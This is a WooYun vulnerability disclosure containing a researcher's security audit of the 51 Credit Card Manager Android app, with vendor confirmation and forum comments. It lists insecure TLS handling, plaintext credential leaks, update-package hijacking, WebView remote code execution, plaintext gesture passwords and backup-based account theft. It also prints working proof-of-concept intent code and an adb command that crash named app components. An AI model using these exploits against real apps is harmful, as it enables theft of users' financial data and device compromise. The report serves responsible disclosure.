当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109266

漏洞标题:真的安全吗之51信用卡管家Android客户端审计报告

相关厂商:51信用卡管家

漏洞作者: Nicky

提交时间:2015-04-20 19:29

修复时间:2015-07-19 21:44

公开时间:2015-07-19 21:44

漏洞类型:用户敏感数据泄漏

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-20: 细节已通知厂商并且等待厂商处理中
2015-04-20: 厂商已经确认,细节仅向厂商公开
2015-04-23: 细节向第三方安全合作伙伴开放
2015-06-14: 细节向核心白帽子及相关领域专家公开
2015-06-24: 细节向普通白帽子公开
2015-07-04: 细节向实习白帽子公开
2015-07-19: 细节向公众公开

简要描述:

51 信用卡管家是一款具有管理信用卡功能的 APP,它通过智能解析信用卡电子账单,来 实现持卡人用卡信息管理和个人财务的智能化应用。迄今为止,51 信用卡管家 APP 累计下载量已经 超过 3600 万,累计管理信用卡超过 3500 万张。其官网号称绝对保证用户信息和资金安全。

详细说明:

本来是一个月前提交给乌云HackReal项目的,可惜后来厂商自己修复了部分漏洞,不好现场演示了所以只好平台了,厂商可以自己再测测哪些还没修复。
真的安全吗?51 信用卡管家 Android 客户端审计报告 DroidSec.cn / Nicky
审计时间:2015/3/22 – 2015/3/23
审计版本:51 信用卡管家 v7.3.01
应用简介:51 信用卡管家是一款具有管理信用卡功能的 APP,它通过智能解析信用卡电子账单,来 实现持卡人用卡信息管理和个人财务的智能化应用。迄今为止,51 信用卡管家 APP 累计下载量已经 超过 3600 万,累计管理信用卡超过 3500 万张。其官网号称绝对保证用户信息和资金安全。
1. 前言:51信用卡管家号称是国内三分之一的信用卡用户都会使用的一款信息卡管理应用,其在 登录时会要求用户填写接收信用帐单的邮箱帐号密码,通过远程服务器拉取邮箱中的电子帐单, 从而实现信用卡信息管理,还款以及理财等功能。笔者在对其 Android 客户端进行安全审计后发 现其存在大量安全漏洞,可能造成用户通讯录,淘宝明文帐号密码,信用卡等信息泄露,甚至是 整个 51 帐户被盗取,同时此应用还存在远程代码执行,手势密码可破解,可被劫持安装 Android 木马窃取用户手机中任意资料等漏洞。建议厂商尽快修复漏洞,以免用户信息与资金安全受到影 响。

1.jpg


2.漏洞详情
(1)51 信用卡管家 Android 客户端泄露用户论坛帐号,手机通讯录,淘宝
明文帐号密码,信用卡信息
1.反编绎客户端 apk 安装包,分析类:Lcom/enniu/fund/c/a;
private static declared_synchronized org.apache.http.client.HttpClient a()
{
try {
if (com.enniu.fund.c.a.a == null) {
org.apache.http.params.BasicHttpParams v4_1 = new org.apache.http.params.BasicHttpParams();
org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager v0_4 = "EnNiu_51RP/$client_version$($brand$;Android $os_release$)".replace("$client_version$", com.enniu.fund.d.f.b(com.enniu.fund.b.l.a().g())).replace("$brand$", new StringBuilder().append(com.enniu.fund.d.f.b(android.os.Build.BRAND)).append(" ").append(com.enniu.fund.d.f.b(android.os.Build.MODEL)).toString()).replace("$os_release$", com.enniu.fund.d.f.b(android.os.Build$VERSION.RELEASE));
new StringBuilder("userAgent = ").append(v0_4).toString(); org.apache.http.params.HttpProtocolParams.setUserAgent(v4_1, v0_4); org.apache.http.params.HttpProtocolParams.setVersion(v4_1,
org.apache.http.HttpVersion.HTTP_1_1); org.apache.http.params.HttpProtocolParams.setHttpElementCharset(v4_1, "UTF-8"); org.apache.http.params.HttpProtocolParams.setContentCharset(v4_1, "UTF-8"); org.apache.http.params.HttpProtocolParams.setUseExpectContinue(v4_1, 1); org.apache.http.params.HttpConnectionParams.setStaleCheckingEnabled(v4_1, 0); org.apache.http.params.HttpConnectionParams.setConnectionTimeout(v4_1, 60000); org.apache.http.params.HttpConnectionParams.setSoTimeout(v4_1, 60000); org.apache.http.conn.scheme.SchemeRegistry v5_13 = new
org.apache.http.conn.scheme.SchemeRegistry();
v5_13.register(new org.apache.http.conn.scheme.Scheme("http",
org.apache.http.conn.scheme.PlainSocketFactory.getSocketFactory(), 80)); try {
org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager v0_18;
org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager v0_15 = java.security.KeyStore.getInstance(java.security.KeyStore.getDefaultType());
v0_15.load(0, 0);
org.apache.http.impl.client.DefaultHttpClient v1_9 = new com.enniu.fund.c.d(v0_15); try {
v1_9.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERI FIER);
v0_18 = v1_9;
} catch (org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager v0_16) {
v0_16.printStackTrace();
v0_18 = v1_9; }
if (v0_18 == null) {
v0_18 = org.apache.http.conn.ssl.SSLSocketFactory.getSocketFactory();
v0_18.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.ALLOW_ALL_HOSTNAME_VE RIFIER);
}
v5_13.register(new org.apache.http.conn.scheme.Scheme("https", v0_18, 443)); com.enniu.fund.c.a.a = new org.apache.http.impl.client.DefaultHttpClient(new
org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager(v4_1, v5_13), v4_1);
} catch (org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager v0_16) {
v1_9 = 0; }
}
} catch (org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager v0_21) {
throw v0_21; }
2
return com.enniu.fund.c.a.a; }
其中
setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER );表示信任所有域证书,同时还应用开发人员还在多处重写了 onReceivedSslError()方法,如:
public void onReceivedSslError(WebView arg5, SslErrorHandler arg6, SslError arg7) { if(!BaseWebActivity.this.e) {
BaseWebActivity.this.c.loadData("", "text/html", "utf_8"); BaseWebActivity.f(BaseWebActivity.this).setVisibility(0); BaseWebActivity.g(BaseWebActivity.this).setTag(BaseWebActivity.this.g); BaseWebActivity.this.f = true;
} else {
arg6.proceed(); }
}

处缺陷导致 51 信用卡管家 Android 客户端通过 HTTPS 加密传输的通信信息在一定情况下可被获 取,即当用户选择使用 WIFI 连接网络时,攻击都者只需要伪造 WIFI 热点使用户连接或者连入与用 户同一路由即可进行中间人攻击。
测试流程:1.先设置手机 WIFI 代理,同时使用 burpsuite 来抓取手机的 HTTP/HTTPS 包。 2.打开 51 信用卡管家客户端,正常登录

2.jpg


public final void onReceivedSslError(WebView arg1, SslErrorHandler arg2, SslError arg3) { arg2.proceed();
}
在 onReceivedSslError()中使用 proceed()方法表示当证书效验错误时忽略错误继续传输,以上两
登录为一个 GET 请求,这里用了 HTTPS 加密传输但攻击者仍能被抓取到此请求,其中 username 及 password 均采用了加密后传输,但返回的响应中泄露了用户的一些信息,包含登录用的 帐号及 u51 论坛的帐号信息,直接复制 http://bbs.u51.com/api/uc.php?time=1427069786&code=xxx 字 段到浏览器中打开可以成功登录相应自动生成的论坛帐号

 (03).jpg


 (04).jpg


3
选择“服务”-51 人品,如果用户还未验证手机号的话会提醒验证,验证通过后可以选择上传通讯 来和通讯录中的好友比较 PR

 (05).jpg

 (06).jpg


用户第一次使用此功能会要求读写用户通讯录短信通话记录等,然后上传,之后每次发送一个
请求:

 (07).jpg

拉取明文的用户通讯录

 (08).jpg


这样不加密传输用户通讯录可直接被攻者通过中间人攻击窃取
其次,51 信用管家在应用“设置中”还有一个功能是“导入第三方数据”,会要求用户输入淘宝帐 号与密码,测试发现这个登录页面并非淘宝官方网站,而用户输入的淘宝帐号密码使用的是明文传 输,存在极大的泄露风险

 (09).jpg

 (10).jpg


而在开通其“51 信使”功能时,同样会明文传输用户银行卡号

 (11).jpg


(2)51 信用卡管家 Android 客户端可被劫持安装任意应用 1.开启 burpsuite 截断功能,点击设置中的“检查更新”,正常的请求为:

 (12).jpg


其响应为:

 (13).jpg

修改其中的 upgrade 及 url 参数即可劫持应用的更新安装包为任意应用

 (14).jpg


 (15).jpg

用户看到的界面是正常的,点击马上更新

 (16).jpg


 (17).jpg

可以看到应用更新被成功替换为其它应用,如果我们生成一个同图标同名的木马应用,一般用户会
不加思索的安装然后手机被攻击者控制
(3)51 信用卡管家 Android 客户端存在持久型远程代码执行漏洞
1.先设置手机 WIFI 代理,同时使用 burpsuite 来抓取手机的 HTTP/HTTPS 包。
2.打开 51 信用卡管家客户端,开启 Burpsuite 的截断功能,点击设置中的关于我们(或者任意可 加载 HTML 页面的操作,如“我的帮助”中的常见问题),修改 response 为 view- source:http://www.droidsec.cn/webview.html 中的 webview 远程代码执行漏洞自动检测攻击代码,攻击 成功会自动在手机的 SD 卡根目录生成 check.txt

 (18).jpg

 (19).jpg

 (20).jpg

 (21).jpg

10
. 检测到四个存在漏洞的接口,除comjs外,其余三个为系统自带接口,如未移除则默认存在,其 中,同时为了加快页面加载速度 ,应用使用了本地缓存,当用户第一次打相关页面时日后都会 重复加载被植入攻击代码的页面。comjs 接口相关代码位于 package   com.zhangdan.app.activities.service; 的 PangLiCaiActivity 类中:
3. WebView  v0_3  =  this.f;
4.  v0_3.setInitialScale(0); 
5.  v0_3.setVerticalScrollBarEnabled(false);
11
6.   v0_3.requestFocusFromTouch();  
7. v0_3.setWebChromeClient(new p(this)); 
8. v0_3.setWebViewClient(new q(this));
9.  v0_3.setDownloadListener(new  o(this));  
10.  WebSettings  v1_1  =  v0_3.getSettings();  
11.  v1_1.setJavaScriptEnabled(true);  //允许webview启用javascript  
12.  v1_1.setJavaScriptCanOpenWindowsAutomatically(true);
13.  v1_1.setLayoutAlgorithm(WebSettings$LayoutAlgorithm.NORMAL);
14.  v1_1.setDatabaseEnabled(true);  //可通过webview访问应用内部databases目录 
15.  v1_1.setDatabasePath(this.getApplicationContext().getDir("database",  0).getPath());
16. v1_1.setDomStorageEnabled(true);  
17.  v1_1.setGeolocationEnabled(true);
18. v1_1.setDomStorageEnabled(true);
19.  v1_1.setAppCacheMaxSize(8388608);
20. v1_1.setAppCachePath(this.getApplicationContext().getDir("cache",  0).getPath());
21.  v1_1.setAllowFileAccess(true);
22.  v1_1.setAppCacheEnabled(true);//启用本地缓存  
23.  v1_1.setCacheMode(-1);  
24.  v0_3.setScrollBarStyle(0);
25.  this.o  =  new  m(this);  
26.    this.f.addJavascriptInterface(this.o,  "comjs");  //通过comjs接口实现js与java交互,在app  sdk<17时存在远程代码
执行漏洞  
27. ba.a(((Activity)this),  this.e);  
28. this.f.loadUrl(this.e);//通过loadUrl方法加载页面
29.  new  StringBuilder("url  ").append(this.e).toString();
此类 webview 远程代码执行漏洞原理与危害详情可参考 :
http://www.droidsec.cn/%E6%96%B0%E7%9A%84android-
webview%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC %8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E6%B5%8B%E8%AF%95%E6%96%B9% E6%B3%95/
http://www.droidsec.cn/android-webview- %E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E 6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E6%A3%80%E6%B5%8B/
通过此漏洞允许攻击者远程植入攻击代码执行任意系统命令,如安装木马,窃取隐私等
(4)51 信用卡管家 Android 客户端手势密码泄露
1.打开 51 信用卡管家 Android 客户端正常设置手势密码,这样可以防止手机丢失或者不在身 边上保证用户信息安全,用户还可以设置连续输错 10 则完全清除应用信息,看起来很安全 的样子?

 (22).jpg

12
2.其实不然,当用户为已 root 状态时,获得 ROOT 权限的应用(比如各类手机助手,应用市 场及伪装的木马应用)可以读取手机中的任意文件,经检测发现,51 信用卡管家将用户设 置的手势密码明文保存在/data/data/com.zhangdan.app/shared_prefs/card.xml 文件中,我们通过 ADB 工具(木马应用都是直接读取)可以很轻松的读取此文件内容:

 (23).jpg


3.其中的 lcal_pwd 值为 2,1,0,3,6,7,8,如果我们把九宫格转换为数字:

 (24).jpg

13

 (25).jpg

2,1,0,3,6,7,8 代表得正好是如下图形
所以无论用户设置的手势密码有多复杂,木马都可以轻松直接破解
以上说的是手机已经 ROOT 的情况,其实不用 ROOT 也行,看下个漏洞我们就知道复制未 ROOT 手机上的应用数据到已经 ROOT 手机上后同样可利用
(5)51 信用卡管家 Android 用户帐户可被盗取
1.使用 JEB 反编绎 51 信用卡官家 apk 安装包,分析其 manifest:
14

 (26).jpg

2.android:allowBackup="true"表示应用允许用户通过系统备份工具备份应用数据然后恢复,目前大部 分涉及用户隐私与财产安全的应用都不会选择开启此功能,因为这样用户在未 root 的情况下应用数 据可能被短时间内被攻击者复制,导致用户帐户被盗
3.如下,我们只要使用两行简单的 adb 命令就能备份应用数据到本地,然后将恢复到另一台手机 中:

 (27).jpg


4.所以用户的手机不在身边或者借给朋友几分钟,就可能导致帐号被盗,就算设置再复杂的密码与 手势密码都没用。。。 漏洞更详细的原理与利用方式可以参考:http://www.droidsec.cn/%E8%AF%A6%E8%A7%A3android- app- allowbackup%E9%85%8D%E7%BD%AE%E5%B8%A6%E6%9D%A5%E7%9A%84%E9%A3%8E%E9 %99%A9/
(6)51 信用卡管家 Android 客户端内部数据库文件可被盗取
1.讲这个漏洞先要介绍一下一个安卓系统特性:db-journal 文件是 sqlite 的一个临时的日志文件,主 要用于 sqlite 事务回滚机制,在事务开始时产生,在事务结束时删除;当程序发生崩溃或者系统断 电时该文件将留在磁盘上,以便下次程序运行时进行事务回滚,其内容与同名的.db 文件相同。在 android 系统中,.db-journal 文件是永久的留在磁盘上不会被自动清除的,开发者必须设置此类文件 权限以避免.db 文件内容泄露。
2.51 信用卡管家将用户使用 webview 组件浏览页面时保存的一些敏感信息储存在 databases 目录下的 db 数据库中

 (28).jpg


其中的 51zhangban 是主数据库,保存了用户的大量信息

 (29).jpg

16
17

 (30).jpg

 (31).jpg


其同名的 51zhangban.db-journal 文件权限为任意应用可读取

 (32).jpg


则意味着其内部数据在未 ROOT 情况下有泄露风险
 
(7) 51 信用卡管家 Android 客户端多处拒绝服务漏洞
1.因 51 信用卡管家 Android 客户端未对畸型 intent 做异常处理,可导致应用无限崩溃
如:adb shell am startservice -n com.zhangdan.app/com.umeng.common.net.DownloadingService

 (33).jpg


18
存在问题的组件有:
1.
 com.payeco.android.plugin.PayecoPluginLoadingActivity
利用代码:
static class SerializableObject  implements  Serializable  {
static final long  serialVersionUID  =  42L;
   
}   }

2.

SerializableObject()  {
super();
Intent  intent  =  new  Intent();
intent.setComponent(new  ComponentName("com.zhangdan.app",
"com.payeco.android.plugin.PayecoPluginLoadingActivity"));
intent.putExtra("this_is_a_random_serializable_extra_for_test_general_reject_server",  new  SerializableObject());
startActivity(intent);
com.zhangdan.app.wxapi.WXEntryActivity
利用代码:
static  class  SerializableObject  implements Serializable {


19
static final  long  serialVersionUID =  42L;
SerializableObject()  {
super();
 
 
  }  



Intent  intent  =  new  Intent();
intent.setComponent(new  ComponentName("com.zhangdan.app",  "com.zhangdan.app.wxapi.WXEntryActivity"));
intent.putExtra("this_is_a_random_serializable_extra_for_test_general_reject_server",  new  SerializableObject());
startActivity(intent);
3.  com.zhangdan.app.wbapi.WeiboResponseActivity
利用代码:
static  class  SerializableObject implements  Serializable  {
static  final  long  serialVersionUID  =  42L;
   
SerializableObject()  {
super();
Intent  intent  =  new  Intent();
intent.setComponent(new  ComponentName("com.zhangdan.app",  "com.zhangdan.app.wbapi.WeiboResponseActivity"));
intent.putExtra("this_is_a_random_serializable_extra_for_test_general_reject_server",  new  SerializableObject());
startActivity(intent);
4.  com.enniu.fund.wxapi.WXEntryActivity
利用代码:
static  class  SerializableObject  implements  Serializable  {
static  final long  serialVersionUID  =  42L;
SerializableObject()  {
super();
Intent  intent  =  new  Intent();
intent.setComponent(new  ComponentName("com.zhangdan.app", "com.enniu.fund.wxapi.WXEntryActivity"));
intent.putExtra("this_is_a_random_serializable_extra_for_test_general_reject_server",  new  SerializableObject());  
startActivity(intent);
5.  com.umeng.common.net.DownloadingService
adb  shell  am  startservice  -n com.zhangdan.app/com.umeng.common.net.DownloadingService
更漏洞原理与利⽤用可参考 :http://www.droidsec.cn/android-app%E9%80%9A%E7%94%A8%E5%9E%8B%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1 %E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/ http://www.droidsec.cn/android%E5%BA%94%E7%94%A8%E6%9C%AC%E5%9C%B0%E6%8B%92% E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90/
20

漏洞证明:

图片一张张转太累了 转百度云吧 厂商可以下载自己自查
链接: http://pan.baidu.com/s/1pJmh2w7 密码: vmvq

修复方案:

见文档

版权声明:转载请注明来源 Nicky@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-04-20 21:42

厂商回复:

已经在修复中,谢谢@Nicky

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-20 20:52 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)

    逆向牛!

  2. 2015-04-20 21:34 | 姗姗来迟 ( 普通白帽子 | Rank:297 漏洞数:72 | coffeesafe的小号)

    审计报告!!

  3. 2015-04-21 00:34 | 肉肉 认证白帽子 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)

    妈蛋楼主太懒了,不要问我为什么,我叫雷锋······

  4. 2015-04-29 09:42 | 乌云白帽子 ( 路人 | Rank:11 漏洞数:4 | 路人甲)

    @肉肉 0.0

  5. 2015-04-29 19:00 | 肉肉 认证白帽子 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技,肉肉在长亭科技,肉肉在长...)

    @乌云白帽子 账号被finger物理黑了,哭哭

  6. 2015-04-29 19:06 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    哈哈 @肉肉

  7. 2015-04-29 19:11 | Nicky ( 普通白帽子 | Rank:477 漏洞数:69 | http://www.droidsec.cn 安卓安全中文站)

    擦。。。居然把图补上了 @Finger 好人啊

  8. 2015-07-19 22:00 | 晨曦遇晓 ( 普通白帽子 | Rank:140 漏洞数:33 | 像昨天要经验,向今天要结果,向明天要动力...)

    卧槽,报告也可以发呀。

  9. 2015-07-20 08:39 | Mr.R ( 实习白帽子 | Rank:52 漏洞数:14 | 求大神带我飞 qq2584110147)

    @肉肉 哈哈 物理高端黑 防不住啊

  10. 2015-07-21 08:29 | 小荷才露尖尖角 ( 实习白帽子 | Rank:91 漏洞数:13 | less is more)

    赞,很透彻

  11. 2015-09-01 15:36 | Me_Fortune ( 普通白帽子 | Rank:209 漏洞数:71 | I'm Me_Fortune)

    什么时候加了三个$